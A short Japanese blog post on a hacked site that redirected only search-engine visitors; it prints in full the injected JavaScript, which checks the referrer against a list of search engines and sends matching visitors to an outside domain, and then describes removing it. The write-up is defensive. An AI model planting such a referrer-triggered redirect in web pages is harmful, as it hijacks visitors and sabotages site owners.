masalibの日記

システム開発、運用と猫の写真ブログです

検索結果のリンクのみリダイレクトされる!!

自分が管理していないサイトのお話なのです

状況としては
普通にリンクを押すと正常に表示されて
検索エンジンから来た時のみリダイレクトされる

DNSが乗っ取られているのかと思っていたが蓋を開けてみると
サイトトップにjavascripが仕込まれていた
ご丁寧にリファラーをチェックしていた

(function() {
if(window.name != 'cc'){
var r = document.referrer;
r = r.toLowerCase();
var aSites = new Array('baidu.','sogou.','sm.','so.','soso.','uc.','360.','haosou.','bing.','search.','zhongsou.','iask.','yahoo.','google.');
var b = false;
for (i in aSites){
    if (r.indexOf(aSites[i]) > 0){
        b = true;
        break;
    }
}

if(b)
{

    self.location = 'http://www.88mcd.com'; 
    window.adworkergo = 'cc';
}
}
})()

https://stackoverflow.com/questions/47567624/an-unbelievable-js-leads-to-a-web-site-attack
より引用

上記のようなソースを削除して、サーチコンソールでクローリングの依頼をした

今後、サイト監視する場合はサーチエンジンリファラーあり、なしの設定をしないといけないのか
めんどくさい・・・!!